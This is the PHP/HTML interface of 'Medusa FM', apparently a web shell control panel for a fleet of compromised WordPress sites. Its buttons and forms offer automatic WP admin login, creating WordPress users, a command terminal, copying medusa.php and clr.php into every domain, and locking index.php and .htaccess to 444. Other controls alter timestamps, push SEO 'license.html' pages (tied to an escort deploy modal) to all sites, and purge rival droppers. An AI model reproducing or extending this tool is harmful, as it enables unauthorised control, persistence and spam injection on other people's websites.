tailwind.config={theme:{extend:{fontFamily:{sans:['Plus Jakarta Sans','sans-serif'],mono:['JetBrains Mono','monospace']},colors:{surface:{900:'#0f172a',950:'#080f1f'}},animation:{'slide-up':'slideUp 0.25s ease-out'},keyframes:{slideUp:{from:{opacity:'0',transform:'translateY(12px)'},to:{opacity:'1',transform:'translateY(0)'}}}}}}
</script>
<style>
body{font-family:'Plus Jakarta Sans',sans-serif;}
.mono{font-family:'JetBrains Mono',monospace;}
::-webkit-scrollbar{width:4px;height:4px;}
::-webkit-scrollbar-track{background:transparent;}
::-webkit-scrollbar-thumb{background:#475569;border-radius:2px;}
.modal-open{overflow:hidden;}
.hljs{background:transparent!important;padding:16px!important;}
.btn-tool{transition:all 0.2s;}
.btn-tool:hover{transform:translateY(-1px);}
.wp-btn {
display: inline-flex;
align-items: center;
gap: 4px;
padding: 4px 10px;
font-size: 11px;
font-weight: 500;
border-radius: 6px;
transition: all 0.2s ease;
text-decoration: none;
font-family: 'Plus Jakarta Sans', sans-serif;
}
.wp-btn svg {
width: 14px;
height: 14px;
}
.wp-admin-btn {
background: rgba(52, 211, 153, 0.1);
color: #34d399;
border: 1px solid rgba(52, 211, 153, 0.2);
}
.wp-admin-btn:hover {
background: rgba(52, 211, 153, 0.2);
border-color: rgba(52, 211, 153, 0.5);
transform: translateY(-1px);
}
.wp-user-btn {
background: rgba(139, 92, 246, 0.1);
color: #a78bfa;
border: 1px solid rgba(139, 92, 246, 0.2);
}
.wp-user-btn:hover {
background: rgba(139, 92, 246, 0.2);
border-color: rgba(139, 92, 246, 0.5);
transform: translateY(-1px);
}
.wp-status-dot {
display: inline-block;
width: 5px;
height: 5px;
border-radius: 50%;
background: #34d399;
animation: pulse-dot 1.5s ease-in-out infinite;
}
@keyframes pulse-dot {
0%, 100% { opacity: 0.3; transform: scale(0.8); }
50% { opacity: 1; transform: scale(1); }
}
.fm-topbar {
background: linear-gradient(180deg, rgba(15,23,42,0.98) 0%, rgba(8,15,31,0.95) 100%);
border-bottom: 1px solid rgba(99,102,241,0.22);
box-shadow: 0 4px 24px rgba(0,0,0,0.35);
}
.fm-topbar::before {
content: '';
position: absolute;
inset: 0;
background: linear-gradient(90deg, rgba(59,130,246,0.06), rgba(167,139,250,0.08), rgba(34,211,238,0.05));
pointer-events: none;
}
.fm-brand-title {
font-weight: 700;
font-size: 13px;
letter-spacing: -0.02em;
background: linear-gradient(120deg, #93c5fd, #c4b5fd, #67e8f9);
-webkit-background-clip: text;
-webkit-text-fill-color: transparent;
background-clip: text;
}
.fm-toolbar {
display: flex;
align-items: center;
gap: 2px;
overflow-x: auto;
overflow-y: hidden;
scrollbar-width: thin;
width: 100%;
min-width: 0;
flex-wrap: nowrap;
padding-bottom: 4px;
-webkit-overflow-scrolling: touch;
}
.fm-toolbar .wp-btn { flex-shrink: 0; }
.fm-toolbar::-webkit-scrollbar { height: 4px; }
.fm-toolbar::-webkit-scrollbar-thumb { background: #475569; border-radius: 4px; }
.fm-chip {
display: inline-flex;
align-items: center;
gap: 5px;
padding: 3px 8px;
border-radius: 999px;
font-size: 10px;
font-family: 'JetBrains Mono', monospace;
border: 1px solid rgba(148,163,184,0.15);
background: rgba(15,23,42,0.6);
color: #94a3b8;
white-space: nowrap;
}
.fm-chip--live { border-color: rgba(52,211,153,0.35); color: #6ee7b7; }
.fm-chip--copy { cursor: pointer; border-color: rgba(56,189,248,0.45); color: #7dd3fc; }
.fm-chip--copy:hover { background: rgba(56,189,248,0.15); color: #bae6fd; }
.fm-chip--warn { border-color: rgba(251,191,36,0.35); color: #fcd34d; }
.fm-seg {
display: inline-flex;
border-radius: 8px;
overflow: hidden;
border: 1px solid rgba(148,163,184,0.2);
background: rgba(15,23,42,0.8);
}
.fm-seg form { display: contents; }
.fm-seg button {
padding: 4px 8px;
font-size: 9px;
font-weight: 600;
text-transform: uppercase;
letter-spacing: 0.04em;
border: none;
cursor: pointer;
transition: all 0.15s;
}
.fm-seg .is-lock { color: #f87171; background: transparent; }
.fm-seg .is-lock:hover, .fm-seg .is-lock.active { background: rgba(248,113,113,0.2); }
.fm-seg .is-open { color: #34d399; background: transparent; }
.fm-seg .is-open:hover, .fm-seg .is-open.active { background: rgba(52,211,153,0.2); }
.fm-seg .is-all { color: #a78bfa; background: rgba(167,139,250,0.08); font-size: 8px; }
.fm-seg .is-license { color: #c4b5fd; background: rgba(139,92,246,0.12); font-size: 8px; }
.fm-seg .is-license:hover, .fm-seg .is-license.active { background: rgba(139,92,246,0.28); }
.fm-group-label {
font-size: 8px;
text-transform: uppercase;
letter-spacing: 0.08em;
color: #475569;
padding: 0 4px;
align-self: center;
}
.terminal-history-item {
padding: 4px 12px;
border-bottom: 1px solid rgba(255,255,255,0.03);
font-size: 11px;
display: flex;
gap: 12px;
align-items: center;
}
.terminal-history-item .time {
color: #475569;
flex-shrink: 0;
font-size: 10px;
}
.terminal-history-item .cmd {
color: #60a5fa;
font-weight: 500;
}
.terminal-history-item .icon {
color: #22d3ee;
font-size: 10px;
}
#terminalSuggestions {
position: absolute;
bottom: 100%;
left: 0;
right: 0;
background: #0f172a;
border: 1px solid #334155;
border-radius: 8px 8px 0 0;
max-height: 150px;
overflow-y: auto;
display: none;
z-index: 60;
}
#terminalSuggestions .suggestion-item {
padding: 6px 14px;
cursor: pointer;
font-size: 12px;
color: #94a3b8;
font-family: 'JetBrains Mono', monospace;
transition: all 0.15s;
}
#terminalSuggestions .suggestion-item:hover {
background: #1e293b;
color: #e2e8f0;
}
#terminalSuggestions .suggestion-item .desc {
color: #475569;
font-size: 10px;
margin-left: 8px;
}
.domain-badge {
background: rgba(52, 211, 153, 0.08);
border: 1px solid rgba(52, 211, 153, 0.15);
color: #34d399;
font-size: 9px;
padding: 1px 6px;
border-radius: 8px;
font-family: 'JetBrains Mono', monospace;
}
.deploy-btn {
display: inline-flex;
align-items: center;
gap: 4px;
padding: 3px 8px;
font-size: 9px;
font-weight: 500;
border-radius: 4px;
transition: all 0.2s ease;
text-decoration: none;
font-family: 'Plus Jakarta Sans', sans-serif;
border: 1px solid transparent;
}
.deploy-btn:hover {
transform: translateY(-1px);
}
</style>
</head>
<body class="bg-surface-950 text-slate-100 min-h-screen">
<textarea id="fmCopyHttpsText" readonly hidden><?php echo htmlspecialchars($fmCopyHttpsUrls); ?></textarea>
<?php
if($editorLoad!==null){
echo '<script>window._editorAutoLoad='.json_encode([
'filename'=>$editorLoad['filename'],
'content'=>$editorLoad['content'],
'indexKind'=>$editorLoad['indexKind'] ?? '',
]).';</script>';
}
?>
<!-- NAVBAR -->
<nav class="fm-topbar sticky top-0 z-40 relative">
<div class="max-w-[1600px] mx-auto px-3 py-2 relative z-10">
<div class="flex flex-wrap items-center justify-between gap-x-4 gap-y-2 mb-1.5">
<div class="flex items-center gap-2.5 min-w-0">
<div class="w-9 h-9 rounded-xl bg-gradient-to-br from-blue-500/25 to-violet-500/20 border border-indigo-400/30 flex items-center justify-center shadow-lg shadow-indigo-500/10">
<span class="text-sm font-bold text-indigo-200">M</span>
</div>
<div class="min-w-0">
<div class="fm-brand-title leading-tight">Medusa FM</div>
<div class="text-[9px] text-slate-500 mono truncate"><?php echo htmlspecialchars(FM_BUILD_ID); ?> · <?php echo htmlspecialchars($detectedDomain ?: basename($fmOpsRoot)); ?></div>
</div>
</div>
<div class="flex flex-wrap items-center gap-2">
<?php if ($fmDomainsBaseDir !== ''): ?>
<span class="fm-chip text-[8px] max-w-[140px] truncate" title="Tarama kökü"><?php echo htmlspecialchars(basename(str_replace('\\', '/', $fmDomainsBaseDir))); ?></span>
<?php endif; ?>
<span class="fm-chip fm-chip--live" title="Keşfedilen WP kökleri">🎯 <?php echo (int)$fmTargetCount; ?></span>
<span class="fm-chip <?php echo $fmBundleIndexOk ? '' : 'fm-chip--warn'; ?>" title="Gömülü index kütüphanesi">lib idx <?php echo $fmBundleIndexOk ? '✓' : '✗'; ?></span>
<span class="fm-chip <?php echo $fmBundleSeoOk ? '' : 'fm-chip--warn'; ?>" title="Gömülü SEO">lib seo <?php echo $fmBundleSeoOk ? '✓' : '✗'; ?></span>
<span class="fm-chip <?php echo $fmIsLocked ? 'fm-chip--warn' : ''; ?>" title="<?php echo htmlspecialchars($fmOpsRoot); ?>">idx <?php echo htmlspecialchars($fmIndexPerm); ?> · ht <?php echo htmlspecialchars($fmHtPerm); ?></span>
<div class="fm-seg" title="Bu site — index.php + .htaccess">
<form method="post"><input type="hidden" name="fm_perm_quick" value="1"><input type="hidden" name="fm_perm_scope" value="current"><input type="hidden" name="fm_perm_mode" value="444"><button type="submit" class="is-lock <?php echo $fmIsLocked ? 'active' : ''; ?>">Kilit</button></form>
<form method="post"><input type="hidden" name="fm_perm_quick" value="1"><input type="hidden" name="fm_perm_scope" value="current"><input type="hidden" name="fm_perm_mode" value="644"><button type="submit" class="is-open <?php echo !$fmIsLocked && $fmIndexPerm !== '—' ? 'active' : ''; ?>">Aç</button></form>
</div>
<div class="fm-seg" title="Tüm keşfedilen siteler">
<form method="post"><input type="hidden" name="fm_perm_quick" value="1"><input type="hidden" name="fm_perm_scope" value="all"><input type="hidden" name="fm_perm_mode" value="444"><button type="submit" class="is-lock is-all">Fleet Kilit</button></form>
<form method="post"><input type="hidden" name="fm_perm_quick" value="1"><input type="hidden" name="fm_perm_scope" value="all"><input type="hidden" name="fm_perm_mode" value="644"><button type="submit" class="is-open is-all">Fleet Aç</button></form>
</div>
<button type="button" id="fmCopyHttpsBtn" class="fm-chip fm-chip--copy" title="Keşfedilen tüm domainler — her satırda bir https:// adresi (panoya kopyala)">
📋 HTTPS liste<?php echo $fmCopyHttpsCount > 0 ? ' · ' . (int)$fmCopyHttpsCount : ''; ?>
</button>
<span id="fmCopyHttpsOk" class="hidden text-[9px] text-emerald-400 font-medium whitespace-nowrap">Kopyalandı ✓</span>
<span class="fm-group-label hidden sm:inline">SEO</span>
<div class="fm-seg" title="license.html — Medusa FM SEO (İstanbul + Ankara, Antalya, Bursa, İzmir…; domain/path ile il)">
<form method="post" class="inline">
<input type="hidden" name="fm_license_current" value="1">
<button type="submit" class="is-license">License</button>
</form>
<form method="post" class="inline" onsubmit="return confirm('Keşfedilen TÜM sitelere license.html yazılsın mı?')">
<input type="hidden" name="fm_license_fleet" value="1">
<button type="submit" class="is-license is-all">Fleet</button>
</form>
</div>
<button type="button" onclick="openModal('deployEscortModal')" class="wp-btn text-violet-300 hover:text-violet-200 hover:bg-violet-500/15 border border-violet-500/35" title="Manuel hedef seçimi ile license.html">
<span class="text-[10px]">License…</span>
</button>
<button type="button" onclick="openModal('fmDomainRootModal')" class="wp-btn text-orange-400 hover:text-orange-300 hover:bg-orange-500/10 border border-orange-500/25" title="Tarama kökü E:\WWW…">
<span class="text-[10px]">WWW</span>
</button>
<form method="post" class="inline">
<button type="submit" name="fm_logout" value="1" class="wp-btn text-slate-400 hover:text-white border border-slate-600/40">Exit</button>
</form>
<button type="button" onclick="toggleMobileMenu()" class="md:hidden p-1.5 rounded-lg text-slate-400 hover:text-white hover:bg-slate-700/50">
<svg xmlns="http://www.w3.org/2000/svg" class="w-4 h-4" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path stroke-linecap="round" stroke-linejoin="round" d="M4 6h16M4 12h16M4 18h16"/></svg>
</button>
</div>
</div>
<div class="flex fm-toolbar items-center gap-0.5 pb-0.5 w-full min-w-0">
<span class="fm-group-label shrink-0">Dosya</span>
<div class="flex items-center gap-1 flex-nowrap">
<?php if($isWordPress): ?>
<a href="<?php echo htmlspecialchars($wpAdminUrl); ?>" target="_blank"
onclick="event.preventDefault(); fetch('?wp_auto_login=1').then(()=>{ window.open('<?php echo htmlspecialchars($wpAdminUrl); ?>', '_blank'); });"
class="wp-btn wp-admin-btn" title="WP Admin - Otomatik Giriş">
<span class="wp-status-dot"></span>
<svg fill="currentColor" viewBox="0 0 20 20">
<path d="M10 0C4.477 0 0 4.477 0 10c0 5.523 4.477 10 10 10s10-4.477 10-10c0-5.523-4.477-10-10-10zm0 18.75c-4.832 0-8.75-3.918-8.75-8.75S5.168 1.25 10 1.25 18.75 5.168 18.75 10 14.832 18.75 10 18.75z"/>
<path d="M10 4.375a5.625 5.625 0 100 11.25 5.625 5.625 0 000-11.25zm0 9.375a3.75 3.75 0 110-7.5 3.75 3.75 0 010 7.5z"/>
</svg>
Admin
</a>
<button type="button" onclick="openModal('wpUserModal')"
class="wp-btn wp-user-btn" title="WP Kullanıcı Oluştur/Giriş">
<svg fill="none" stroke="currentColor" viewBox="0 0 24 24" stroke-width="2">
<path stroke-linecap="round" stroke-linejoin="round" d="M16 7a4 4 0 11-8 0 4 4 0 018 0zM12 14a7 7 0 00-7 7h14a7 7 0 00-7-7z"/>
</svg>
User
</button>
<?php endif; ?>
<button type="button" onclick="openModal('createFolderModal')" class="wp-btn text-slate-400 hover:text-white hover:bg-slate-700/50 transition-all">
<svg xmlns="http://www.w3.org/2000/svg" class="w-3.5 h-3.5" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path stroke-linecap="round" stroke-linejoin="round" d="M9 13h6m-3-3v6m-9 1V7a2 2 0 012-2h6l2 2h6a2 2 0 012 2v8a2 2 0 01-2 2H5a2 2 0 01-2-2z"/></svg>
Folder
</button>
<button type="button" onclick="openModal('createEditFileModal')" class="wp-btn text-slate-400 hover:text-white hover:bg-slate-700/50 transition-all">
<svg xmlns="http://www.w3.org/2000/svg" class="w-3.5 h-3.5" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path stroke-linecap="round" stroke-linejoin="round" d="M11 5H6a2 2 0 00-2 2v11a2 2 0 002 2h11a2 2 0 002-2v-5m-1.414-9.414a2 2 0 112.828 2.828L11.828 15H9v-2.828l8.586-8.586z"/></svg>
File
</button>
<button type="button" onclick="openModal('uploadFileModal')" class="wp-btn text-slate-400 hover:text-white hover:bg-slate-700/50 transition-all">
<svg xmlns="http://www.w3.org/2000/svg" class="w-3.5 h-3.5" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path stroke-linecap="round" stroke-linejoin="round" d="M4 16v1a3 3 0 003 3h10a3 3 0 003-3v-1m-4-8l-4-4m0 0L8 8m4-4v12"/></svg>
Upload
</button>
<button type="button" onclick="openModal('runCommandModal')" class="wp-btn text-rose-400 hover:text-rose-300 hover:bg-rose-500/10 transition-all border border-rose-500/20">
<svg xmlns="http://www.w3.org/2000/svg" class="w-3.5 h-3.5" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path stroke-linecap="round" stroke-linejoin="round" d="M8 9l3 3-3 3m5 0h3M5 20h14a2 2 0 002-2V6a2 2 0 00-2-2H5a2 2 0 00-2 2v12a2 2 0 002 2z"/></svg>
Term
</button>
<div class="w-px h-4 bg-slate-700/80 mx-1"></div>
<span class="fm-group-label">Onarım</span>
<button type="button" onclick="fmQuickRepair('current')"
class="wp-btn text-violet-300 hover:text-violet-200 hover:bg-violet-500/15 transition-all border border-violet-400/40 font-semibold"
title="Gömülü paket + Dropper + temiz index (+ isteğe license) — tek tık, Studio gerekmez">
<span class="text-[10px]">⚡ Hızlı onarım</span>
</button>
<button type="button" onclick="fmQuickRepair('fleet')"
class="wp-btn text-violet-400 hover:text-violet-300 hover:bg-violet-500/10 transition-all border border-violet-500/25"
title="Tüm keşfedilen sitelerde hızlı onarım">
<span class="text-[10px]">⚡ Fleet onarım</span>
</button>
<button type="button" onclick="fmInstallEmbeddedBundle(false)"
class="wp-btn text-indigo-400 hover:text-indigo-300 hover:bg-indigo-500/10 transition-all border border-indigo-500/20"
title="includes/ içine gömülü index+SEO kütüphanesini yazar (fm_embedded_payload.php)">
<span class="text-[10px]">📦 Paket</span>
</button>
<div class="w-px h-4 bg-slate-700/80 mx-1"></div>
<span class="fm-group-label">Güvenlik</span>
<button type="button" onclick="fmWriteCleanIndex('current')"
class="wp-btn text-teal-400 hover:text-teal-300 hover:bg-teal-500/10 transition-all border border-teal-500/20"
title="Medusa temiz index.php + .htaccess (WP kökü — şifreli index’in üzerine yazar)">
<span class="text-[10px]">Temiz index</span>
</button>
<button type="button" onclick="fmApplyUploadedIndex('current')"
class="wp-btn text-emerald-400 hover:text-emerald-300 hover:bg-emerald-500/10 transition-all border border-emerald-500/20"
title="Bu klasördeki index.php → WP köküne kalıcı uygula (444 aç, doğrula, silinmez)">
<span class="text-[10px]">Index uygula</span>
</button>
<button type="button" onclick="fmRestoreIndexBackup()"
class="wp-btn text-lime-400 hover:text-lime-300 hover:bg-lime-500/10 transition-all border border-lime-500/20"
title="index.php.bak.fm.* veya sidecar hash ile son düz indexi geri yaz">
<span class="text-[10px]">Index yedek</span>
</button>
<button type="button" onclick="fmApplyUploadedIndex('fleet')"
class="wp-btn text-emerald-300 hover:text-emerald-200 hover:bg-emerald-500/10 transition-all border border-emerald-500/20"
title="Kaynak index.php → tüm siteler (fleet)">
<span class="text-[10px]">Index Fleet↑</span>
</button>
<button type="button" onclick="fmWriteCleanIndex('fleet')"
class="wp-btn text-teal-300 hover:text-teal-200 hover:bg-teal-500/10 transition-all border border-teal-500/20"
title="Tüm sitelerde temiz index üret">
<span class="text-[10px]">Index ÜRET</span>
</button>
<button type="button" onclick="openMalwareScanModal()"
class="wp-btn text-orange-400 hover:text-orange-300 hover:bg-orange-500/10 transition-all border border-orange-500/20"
title="mu-plugins + zararlı PHP tara — her dosya için onayla sil">
<span class="text-[10px]">🔍 Tara</span>
</button>
<form method="post" class="inline" onsubmit="return confirm('Bu klasörün WP kökünde js26564c + wplog kopyaları silinsin mi?\\n(wp-content/wplog.php varsayılan HARİÇ — dahil etmek için iptal edip ?all=1 kullanın)')">
<input type="hidden" name="purge_malware_current" value="1">
<button type="submit" class="wp-btn text-rose-400 hover:text-rose-300 hover:bg-rose-500/10 transition-all border border-rose-500/20" title="js26564c + wp-admin/kök wplog (wp-content hariç)">
<svg xmlns="http://www.w3.org/2000/svg" class="w-3.5 h-3.5" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path stroke-linecap="round" stroke-linejoin="round" d="M19 7l-.867 12.142A2 2 0 0116.138 21H7.862a2 2 0 01-1.995-1.858L5 7m5 4v6m4-6v6m1-10V4a1 1 0 00-1-1h-4a1 1 0 00-1 1v3M4 7h16"/></svg>
<span class="text-[10px]">Dropper</span>
</button>
</form>
<button type="button" onclick="purgeMalwareAllDomains(false)"
class="wp-btn text-rose-300 hover:text-rose-200 hover:bg-rose-500/10 transition-all border border-rose-500/20"
title="Tüm domainlerde dropper temizliği (wp-content/wplog hariç)">
<span class="text-[10px]">Drop All</span>
</button>
<div class="w-px h-4 bg-slate-700/80 mx-1"></div>
<span class="fm-group-label">Bakım</span>
<form method="post" class="inline">
<button type="submit" name="fix_timestamp" value="1" class="wp-btn text-cyan-400 hover:text-cyan-300 hover:bg-cyan-500/10 transition-all" title="Timestamp">
<svg xmlns="http://www.w3.org/2000/svg" class="w-3.5 h-3.5" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path stroke-linecap="round" stroke-linejoin="round" d="M12 8v4l3 3m6-3a9 9 0 11-18 0 9 9 0 0118 0z"/></svg>
<span class="text-[10px]">TS</span>
</button>
</form>
<form method="post" class="inline">
<button type="submit" name="clear_cache" value="1" class="wp-btn text-amber-400 hover:text-amber-300 hover:bg-amber-500/10 transition-all" title="Cache">
<svg xmlns="http://www.w3.org/2000/svg" class="w-3.5 h-3.5" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path stroke-linecap="round" stroke-linejoin="round" d="M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"/></svg>
<span class="text-[10px]">Cache</span>
</button>
</form>
<button type="button" onclick="clearAllDomainsCache()"
class="wp-btn text-emerald-400 hover:text-emerald-300 hover:bg-emerald-500/10 transition-all border border-emerald-500/20"
title="Tüm domainlerin cache'ini temizle">
<svg xmlns="http://www.w3.org/2000/svg" class="w-3.5 h-3.5" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2">
<path stroke-linecap="round" stroke-linejoin="round" d="M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"/>
</svg>
<span class="text-[10px]">Clear All</span>
</button>
<div class="w-px h-4 bg-slate-700/80 mx-1"></div>
<span class="fm-group-label">Fleet</span>
<button type="button" onclick="deployAllDomains()"
class="wp-btn text-emerald-400 hover:text-emerald-300 hover:bg-emerald-500/10 transition-all border border-emerald-500/20"
title="Kaynak .htaccess + index.php kopyala">
<svg xmlns="http://www.w3.org/2000/svg" class="w-3.5 h-3.5" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2">
<path stroke-linecap="round" stroke-linejoin="round" d="M3.75 3.75v4.5m0-4.5h4.5m-4.5 0L9 9m-5.25-1.5h4.5m-4.5 0L3 12m15-3.75V3.75m0 4.5h-4.5m4.5 0L15 9m4.5-1.5h-4.5m4.5 0L21 6m-6 15h-4.5m4.5 0v-4.5m0 4.5L15 15m-1.5-4.5H9m4.5 0v4.5m0-4.5L21 21"/>
</svg>
<span class="text-[10px]">Deploy</span>
</button>
<button type="button" onclick="deployAllDomainsGenerated()"
class="wp-btn text-teal-400 hover:text-teal-300 hover:bg-teal-500/10 transition-all border border-teal-500/20"
title="Her sitede temiz index üret (şifreli kaynak sorunu yok)">
<span class="text-[10px]">Deploy ÜRET</span>
</button>
<button type="button" onclick="deployClrPhp()"
class="wp-btn text-amber-400 hover:text-amber-300 hover:bg-amber-500/10 transition-all border border-amber-500/20"
title="clr.php'yi TÜM domainlerin ana dizinine kopyala">
<svg xmlns="http://www.w3.org/2000/svg" class="w-3.5 h-3.5" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2">
<path stroke-linecap="round" stroke-linejoin="round" d="M9 12h6m-3-3v6m-9 1V7a2 2 0 012-2h6l2 2h6a2 2 0 012 2v8a2 2 0 01-2 2H5a2 2 0 01-2-2z"/>
</svg>
<span class="text-[10px]">clr.php</span>
</button>
<button type="button" onclick="deployMedusaWpContent()"
class="wp-btn text-pink-400 hover:text-pink-300 hover:bg-pink-500/10 transition-all border border-pink-500/20"
title="medusa.php'yi TÜM domainlerin wp-content/ dizinine kopyala">
<svg xmlns="http://www.w3.org/2000/svg" class="w-3.5 h-3.5" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2">
<path stroke-linecap="round" stroke-linejoin="round" d="M12 4v16m-8-8h16" />
</svg>
<span class="text-[10px]">Medusa</span>
</button>
<button type="button" onclick="openModal('permModal')"
class="wp-btn text-cyan-400 hover:text-cyan-300 hover:bg-cyan-500/10 transition-all border border-cyan-500/20"
title="Özel octal — tüm keşfedilen hedefler">
<span class="text-[10px]">Chmod</span>
</button>
</div>
</div>
</div>
<div id="mobileMenu" class="hidden md:hidden border-t border-slate-700/50">
<div class="px-3 py-2 grid grid-cols-2 gap-1">
<?php if($isWordPress): ?>
<a href="<?php echo htmlspecialchars($wpAdminUrl); ?>" target="_blank"
onclick="event.preventDefault(); fetch('?wp_auto_login=1').then(()=>{ window.open('<?php echo htmlspecialchars($wpAdminUrl); ?>', '_blank'); });"
class="col-span-2 flex items-center justify-center gap-1.5 px-2 py-1.5 rounded-lg text-xs font-medium bg-emerald-500/10 text-emerald-400 border border-emerald-500/20 hover:bg-emerald-500/20 transition-all">
<span class="wp-status-dot"></span>
<svg class="w-3.5 h-3.5" fill="currentColor" viewBox="0 0 20 20">
<path d="M10 0C4.477 0 0 4.477 0 10c0 5.523 4.477 10 10 10s10-4.477 10-10c0-5.523-4.477-10-10-10zm0 18.75c-4.832 0-8.75-3.918-8.75-8.75S5.168 1.25 10 1.25 18.75 5.168 18.75 10 14.832 18.75 10 18.75z"/>
<path d="M10 4.375a5.625 5.625 0 100 11.25 5.625 5.625 0 000-11.25zm0 9.375a3.75 3.75 0 110-7.5 3.75 3.75 0 010 7.5z"/>
</svg>
WP Admin
</a>
<button type="button" onclick="openModal('wpUserModal');closeMobileMenu()"
class="col-span-2 flex items-center justify-center gap-1.5 px-2 py-1.5 rounded-lg text-xs font-medium bg-violet-500/10 text-violet-400 border border-violet-500/20 hover:bg-violet-500/20 transition-all">
<svg class="w-3.5 h-3.5" fill="none" stroke="currentColor" viewBox="0 0 24 24" stroke-width="2">
<path stroke-linecap="round" stroke-linejoin="round" d="M16 7a4 4 0 11-8 0 4 4 0 018 0zM12 14a7 7 0 00-7 7h14a7 7 0 00-7-7z"/>
</svg>
WP User
</button>
<?php endif; ?>
<button type="button" onclick="openModal('createFolderModal');closeMobileMenu()" class="flex items-center justify-center gap-1.5 px-2 py-1.5 rounded-lg text-xs font-medium text-slate-300 bg-slate-800/60 hover:bg-slate-700/60 transition-all"><svg xmlns="http://www.w3.org/2000/svg" class="w-3.5 h-3.5" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path stroke-linecap="round" stroke-linejoin="round" d="M9 13h6m-3-3v6m-9 1V7a2 2 0 012-2h6l2 2h6a2 2 0 012 2v8a2 2 0 01-2 2H5a2 2 0 01-2-2z"/></svg>Folder</button>
<button type="button" onclick="openModal('createEditFileModal');closeMobileMenu()" class="flex items-center justify-center gap-1.5 px-2 py-1.5 rounded-lg text-xs font-medium text-slate-300 bg-slate-800/60 hover:bg-slate-700/60 transition-all"><svg xmlns="http://www.w3.org/2000/svg" class="w-3.5 h-3.5" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path stroke-linecap="round" stroke-linejoin="round" d="M11 5H6a2 2 0 00-2 2v11a2 2 0 002 2h11a2 2 0 002-2v-5m-1.414-9.414a2 2 0 112.828 2.828L11.828 15H9v-2.828l8.586-8.586z"/></svg>File</button>
<button type="button" onclick="openModal('uploadFileModal');closeMobileMenu()" class="flex items-center justify-center gap-1.5 px-2 py-1.5 rounded-lg text-xs font-medium text-slate-300 bg-slate-800/60 hover:bg-slate-700/60 transition-all"><svg xmlns="http://www.w3.org/2000/svg" class="w-3.5 h-3.5" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path stroke-linecap="round" stroke-linejoin="round" d="M4 16v1a3 3 0 003 3h10a3 3 0 003-3v-1m-4-8l-4-4m0 0L8 8m4-4v12"/></svg>Upload</button>
<button type="button" onclick="openModal('runCommandModal');closeMobileMenu()" class="flex items-center justify-center gap-1.5 px-2 py-1.5 rounded-lg text-xs font-medium text-rose-400 bg-rose-500/10 border border-rose-500/20 hover:bg-rose-500/20 transition-all"><svg xmlns="http://www.w3.org/2000/svg" class="w-3.5 h-3.5" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path stroke-linecap="round" stroke-linejoin="round" d="M8 9l3 3-3 3m5 0h3M5 20h14a2 2 0 002-2V6a2 2 0 00-2-2H5a2 2 0 00-2 2v12a2 2 0 002 2z"/></svg>Term</button>
<button type="button" onclick="fmQuickRepair('current');closeMobileMenu()" class="col-span-2 flex items-center justify-center gap-1.5 px-2 py-1.5 rounded-lg text-xs font-semibold text-violet-200 bg-violet-500/20 border border-violet-400/40">⚡ Hızlı onarım</button>
<button type="button" onclick="fmApplyUploadedIndex('current');closeMobileMenu()" class="flex items-center justify-center px-2 py-1.5 rounded-lg text-[10px] font-medium text-emerald-300 bg-emerald-500/15 border border-emerald-500/30">Index uygula</button>
<button type="button" onclick="fmWriteCleanIndex('current');closeMobileMenu()" class="flex items-center justify-center px-2 py-1.5 rounded-lg text-[10px] font-medium text-teal-300 bg-teal-500/15 border border-teal-500/30">Temiz index</button>
<button type="button" onclick="openMalwareScanModal();closeMobileMenu()" class="flex items-center justify-center px-2 py-1.5 rounded-lg text-[10px] font-medium text-orange-300 bg-orange-500/15 border border-orange-500/30">🔍 Tara</button>
<button type="button" onclick="fmInstallEmbeddedBundle(false);closeMobileMenu()" class="flex items-center justify-center px-2 py-1.5 rounded-lg text-[10px] font-medium text-indigo-300 bg-indigo-500/15 border border-indigo-500/30">📦 Paket</button>
</div>
<div class="px-3 pb-2 grid grid-cols-2 gap-1 border-t border-slate-700/40 pt-2">
<div class="col-span-2 flex flex-wrap items-center justify-center gap-2 py-1">
<span class="fm-chip fm-chip--live text-[9px]">🎯 <?php echo (int)$fmTargetCount; ?> · idx <?php echo htmlspecialchars($fmIndexPerm); ?></span>
<form method="post" class="inline"><input type="hidden" name="fm_license_current" value="1"><button type="submit" class="px-3 py-1.5 rounded-lg text-[10px] font-semibold text-violet-200 bg-violet-500/20 border border-violet-500/30">License (bu site)</button></form>
<div class="fm-seg scale-90 origin-center">
<form method="post"><input type="hidden" name="fm_perm_quick" value="1"><input type="hidden" name="fm_perm_scope" value="current"><input type="hidden" name="fm_perm_mode" value="444"><button type="submit" class="is-lock">Kilit</button></form>
<form method="post"><input type="hidden" name="fm_perm_quick" value="1"><input type="hidden" name="fm_perm_scope" value="current"><input type="hidden" name="fm_perm_mode" value="644"><button type="submit" class="is-open">Aç</button></form>
</div>
</div>
<button type="button" id="fmCopyHttpsBtnMobile" class="col-span-2 flex items-center justify-center gap-1.5 px-2 py-1.5 rounded-lg text-xs font-semibold text-sky-200 bg-sky-500/15 border border-sky-500/30">
📋 HTTPS liste kopyala (<?php echo (int)$fmCopyHttpsCount; ?> domain)
</button>
<button type="button" onclick="openModal('fmDomainRootModal');closeMobileMenu()" class="col-span-2 flex items-center justify-center gap-1.5 px-2 py-1.5 rounded-lg text-xs font-medium text-orange-400 bg-orange-500/10 border border-orange-500/20">WWW Kök</button>
</div>
<div class="px-3 pb-2 grid grid-cols-2 gap-1">
